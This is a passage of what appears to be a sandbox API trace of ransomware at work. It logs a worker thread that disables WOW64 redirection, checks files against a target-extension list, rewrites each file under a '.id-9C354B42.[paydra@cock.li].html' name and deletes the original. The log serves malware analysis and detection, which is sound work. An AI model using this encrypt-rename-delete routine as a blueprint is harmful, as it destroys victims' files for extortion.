lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.685] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.685] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x50d438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0032.687] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0032.964] GetTickCount () returned 0x1845b [0032.964] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0033.123] GetTickCount () returned 0x184f7 [0033.123] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0033.822] GetTickCount () returned 0x18600 [0033.822] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0034.062] GetTickCount () returned 0x186bb [0034.062] GetTickCount () returned 0x186bb [0034.062] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0034.291] GetTickCount () returned 0x187a5 [0034.291] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0034.893] GetTickCount () returned 0x189f6 [0034.893] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0035.417] GetTickCount () returned 0x18be9 [0035.417] GetTickCount () returned 0x18be9 [0035.417] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0035.721] GetTickCount () returned 0x18d12 [0035.721] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0036.145] GetTickCount () returned 0x18ec7 [0036.145] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0036.526] GetTickCount () returned 0x1903d [0036.526] GetTickCount () returned 0x1903d [0036.526] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0036.807] GetTickCount () returned 0x19137 [0036.807] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0036.941] GetTickCount () returned 0x191a4 [0036.941] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0037.325] GetTickCount () returned 0x1931a [0037.325] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0037.759] GetTickCount () returned 0x194cf [0037.759] GetTickCount () returned 0x194cf [0037.759] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0038.241] GetTickCount () returned 0x19674 [0038.241] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0038.469] GetTickCount () returned 0x1975e [0038.469] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0038.828] GetTickCount () returned 0x198a6 [0038.828] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0039.453] GetTickCount () returned 0x19ab8 [0039.453] GetTickCount () returned 0x19ab8 [0039.453] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0039.717] GetTickCount () returned 0x19ba2 [0039.717] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0040.040] GetTickCount () returned 0x19cda [0040.040] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0040.360] GetTickCount () returned 0x19e22 [0040.360] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0040.654] GetTickCount () returned 0x19f4a [0040.654] GetTickCount () returned 0x19f4a [0040.654] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0041.153] GetTickCount () returned 0x1a0ff [0041.153] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0041.734] GetTickCount () returned 0x1a302 [0041.734] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.231] GetTickCount () returned 0x1a4b7 [0042.231] GetTickCount () returned 0x1a4b7 [0042.231] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.608] GetTickCount () returned 0x1a5cf [0042.608] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.833] GetTickCount () returned 0x1a67b [0042.833] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0043.263] GetTickCount () returned 0x1a830 [0043.263] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0043.446] GetTickCount () returned 0x1a8eb [0043.446] GetTickCount () returned 0x1a8eb [0043.446] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0043.748] GetTickCount () returned 0x1a9f4 [0043.748] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.097] GetTickCount () returned 0x1ab4b [0044.097] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.276] GetTickCount () returned 0x1ac07 [0044.277] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.612] GetTickCount () returned 0x1ad4e [0044.612] GetTickCount () returned 0x1ad4e [0044.612] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.859] GetTickCount () returned 0x1ae48 [0044.859] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0045.235] GetTickCount () returned 0x1afbe [0045.235] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0045.657] GetTickCount () returned 0x1b163 [0045.657] GetTickCount () returned 0x1b163 [0045.657] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0045.991] GetTickCount () returned 0x1b2bb [0045.991] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0046.282] GetTickCount () returned 0x1b3d3 [0046.282] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0046.459] GetTickCount () returned 0x1b48f [0046.459] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0047.159] GetTickCount () returned 0x1b74d [0047.159] GetTickCount () returned 0x1b74d [0047.159] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0047.734] GetTickCount () returned 0x1b97e [0047.734] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0048.079] GetTickCount () returned 0x1bae5 [0048.079] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0048.872] GetTickCount () returned 0x1bdf1 [0048.872] GetTickCount () returned 0x1bdf1 [0048.872] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0049.162] GetTickCount () returned 0x1bf19 [0049.162] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0049.327] GetTickCount () returned 0x1bfc5 [0049.327] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0049.561] GetTickCount () returned 0x1c0af [0049.561] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0049.781] GetTickCount () returned 0x1c189 [0049.781] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0050.014] GetTickCount () returned 0x1c273 [0050.014] GetTickCount () returned 0x1c273 [0050.014] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0050.357] GetTickCount () returned 0x1c3cb [0050.357] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0050.466] GetTickCount () returned 0x1c438 [0050.466] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0051.449] GetTickCount () returned 0x1c80f [0051.449] GetTickCount () returned 0x1c80f [0051.449] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0051.711] GetTickCount () returned 0x1c908 [0051.711] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.193] GetTickCount () returned 0x1caec [0052.193] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.501] GetTickCount () returned 0x1cc24 [0052.501] GetTickCount () returned 0x1cc24 [0052.501] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.638] GetTickCount () returned 0x1ccb0 [0052.638] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0053.221] GetTickCount () returned 0x1cef1 [0053.221] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0053.466] GetTickCount () returned 0x1cfeb [0053.466] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0053.905] GetTickCount () returned 0x1d1a0 [0053.906] GetTickCount () returned 0x1d1a0 [0053.907] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.158] GetTickCount () returned 0x1d299 [0054.158] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.457] GetTickCount () returned 0x1d49c [0054.668] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.914] GetTickCount () returned 0x1d596 [0054.914] GetTickCount () returned 0x1d596 [0054.914] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0055.280] GetTickCount () returned 0x1d6fd [0055.280] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0055.435] GetTickCount () returned 0x1d799 [0055.435] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0055.575] GetTickCount () returned 0x1d825 [0055.575] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0055.812] GetTickCount () returned 0x1d90f [0055.813] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0056.026] GetTickCount () returned 0x1d9e9 [0056.026] GetTickCount () returned 0x1d9e9 [0056.026] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0056.458] GetTickCount () returned 0x1db9e [0056.458] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0056.679] GetTickCount () returned 0x1dc79 [0056.680] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0057.232] GetTickCount () returned 0x1de9b [0057.232] GetTickCount () returned 0x1de9b [0057.232] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0057.399] GetTickCount () returned 0x1df46 [0057.399] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0057.576] GetTickCount () returned 0x1dff2 [0057.576] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0058.517] GetTickCount () returned 0x1e3a9 [0058.517] GetTickCount () returned 0x1e3a9 [0058.517] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0058.776] GetTickCount () returned 0x1e4a3 [0058.776] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0058.963] GetTickCount () returned 0x1e55e [0058.963] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0059.141] GetTickCount () returned 0x1e619 [0059.141] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0059.646] GetTickCount () returned 0x1e80d [0059.646] GetTickCount () returned 0x1e80d [0059.646] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0060.062] GetTickCount () returned 0x1e9b2 [0060.062] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0060.409] GetTickCount () returned 0x1eb09 [0060.409] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0060.512] GetTickCount () returned 0x1eb76 [0060.512] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0060.846] GetTickCount () returned 0x1ecbe [0060.846] GetTickCount () returned 0x1ecbe [0060.846] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0061.075] GetTickCount () returned 0x1eda8 [0061.075] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0061.242] GetTickCount () returned 0x1ee44 [0061.242] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x0 [0061.242] GetTickCount () returned 0x1ee44 [0061.242] Sleep (dwMilliseconds=0x64) [0061.539] GetTickCount () returned 0x1ef6c [0061.540] Sleep (dwMilliseconds=0x64) [0062.344] GetTickCount () returned 0x1f298 [0062.344] GetTickCount () returned 0x1f298 [0062.344] Sleep (dwMilliseconds=0x64) [0062.537] GetTickCount () returned 0x1f353 [0062.537] Sleep (dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x9d0 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x530310 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x540318 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500270 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4ea368 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500288 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3520020 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002a0 [0032.686] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5002a0, Size=0x20) returned 0x4e5ca0 [0032.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002a0 [0032.686] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5002a0, Size=0x20) returned 0x4e5c78 [0032.686] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.686] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.686] Wow64DisableWow64FsRedirection (in: OldValue=0x229ff58 | out: OldValue=0x229ff58*=0x0) returned 1 [0032.686] lstrlenW (lpString="kernel32.dll") returned 12 [0032.686] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.686] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.686] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.687] Sleep (dwMilliseconds=0x64) [0032.964] Sleep (dwMilliseconds=0x64) [0033.122] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1 [0033.122] lstrlenW (lpString="desktop.ini") returned 11 [0033.122] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0033.580] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=129) returned 1 [0033.580] CloseHandle (hObject=0x174) returned 1 [0033.580] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0033.580] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.581] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0033.581] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.581] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.581] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.581] GetLastError () returned 0x0 [0033.581] ReadFile (in: hFile=0x174, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x81, lpOverlapped=0x0) returned 1 [0033.605] WriteFile (in: hFile=0x178, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x90, lpOverlapped=0x0) returned 1 [0033.605] ReadFile (in: hFile=0x174, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.605] WriteFile (in: hFile=0x178, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0033.606] SetEndOfFile (hFile=0x178) returned 1 [0033.606] CloseHandle (hObject=0x178) returned 1 [0033.606] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.607] SetEndOfFile (hFile=0x174) returned 1 [0033.607] CloseHandle (hObject=0x174) returned 1 [0033.607] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x26) returned 1 [0033.608] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0033.608] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.608] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.608] lstrlenW (lpString=".doc") returned 4 [0033.608] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.608] lstrlenW (lpString=".docx") returned 5 [0033.608] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.608] lstrlenW (lpString=".pdf") returned 4 [0033.608] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0033.608] lstrlenW (lpString=".xls") returned 4 [0033.608] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0033.608] lstrlenW (lpString=".xlsx") returned 5 [0033.608] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0033.608] lstrlenW (lpString=".ppt") returned 4 [0033.608] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0033.608] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.608] lstrlenW (lpString=".zip") returned 4 [0033.608] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0033.608] lstrlenW (lpString=".rar") returned 4 [0033.608] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0033.608] lstrlenW (lpString=".bz2") returned 4 [0033.608] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.609] lstrlenW (lpString=".7z") returned 3 [0033.609] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.609] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.609] lstrlenW (lpString=".dbf") returned 4 [0033.609] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.609] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.609] lstrlenW (lpString=".1cd") returned 4 [0033.609] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.609] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.609] lstrlenW (lpString=".jpg") returned 4 [0033.609] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0033.609] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.609] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.609] lstrlenW (lpString=".doc") returned 4 [0033.609] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.609] lstrlenW (lpString=".docx") returned 5 [0033.609] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.609] lstrlenW (lpString=".pdf") returned 4 [0033.609] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0033.609] lstrlenW (lpString=".xls") returned 4 [0033.609] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0033.609] lstrlenW (lpString=".xlsx") returned 5 [0033.609] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0033.609] lstrlenW (lpString=".ppt") returned 4 [0033.609] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0033.609] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.609] lstrlenW (lpString=".zip") returned 4 [0033.609] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0033.609] lstrlenW (lpString=".rar") returned 4 [0033.609] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0033.609] lstrlenW (lpString=".bz2") returned 4 [0033.609] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.609] lstrlenW (lpString=".7z") returned 3 [0033.610] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.610] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.610] lstrlenW (lpString=".dbf") returned 4 [0033.610] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.610] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.610] lstrlenW (lpString=".1cd") returned 4 [0033.610] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.610] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.610] lstrlenW (lpString=".jpg") returned 4 [0033.610] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0033.610] Sleep (dwMilliseconds=0x64) [0033.892] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0033.892] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0033.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.392] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1565) returned 1 [0034.392] CloseHandle (hObject=0x1a0) returned 1 [0034.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0034.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.392] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.392] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.393] GetLastError () returned 0x0 [0034.393] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x61d, lpOverlapped=0x0) returned 1 [0034.554] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x620, lpOverlapped=0x0) returned 1 [0034.555] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.555] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.555] SetEndOfFile (hFile=0x1a4) returned 1 [0034.555] CloseHandle (hObject=0x1a4) returned 1 [0034.556] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.556] SetEndOfFile (hFile=0x1a0) returned 1 [0034.556] CloseHandle (hObject=0x1a0) returned 1 [0034.557] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.557] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0034.557] lstrlenW (lpString="C:\\MSOCache\\All 